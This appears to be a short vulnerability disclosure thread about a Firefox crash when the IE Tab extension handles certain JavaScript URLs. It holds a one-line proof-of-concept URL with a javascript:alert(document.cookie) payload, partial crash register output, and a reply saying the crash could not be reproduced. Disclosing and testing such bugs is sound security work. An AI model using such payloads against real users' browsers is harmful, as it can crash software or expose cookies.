Using Firefox 1.5.0.3 and IE Tab 1.0.9 on a Windows XP Pro SP2 + latest patches, I was unable to reproduce this using your PoC provided. I created a new tab, pasted the URL you provided into it, hit enter and received an 'Action Cancelled' page from IE. Neither Firefox nor IE crashed. Was there something more to the bug that I am not seeing? Regards, Roman

It is used to browse IE (only) specific sites under Firefox. Guess what ?? You can run windowsupdate under FireFox ;-) Bug Details: Firefox with the IETab installed crashes when ietab plugin is unable to handle specific javascripts. It seems to be a null pointer dereference bug. For more details refer the PoC section. Proof-of-Concept: Copy & paste the following URL to the Firefox addressbar and press enter - chrome://ietab/content/reloaded.html?url=javascript:alert(document.cookie); Note: This test will not work if IETab is not installed. The Registers details after the crash: (1e4.3e0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
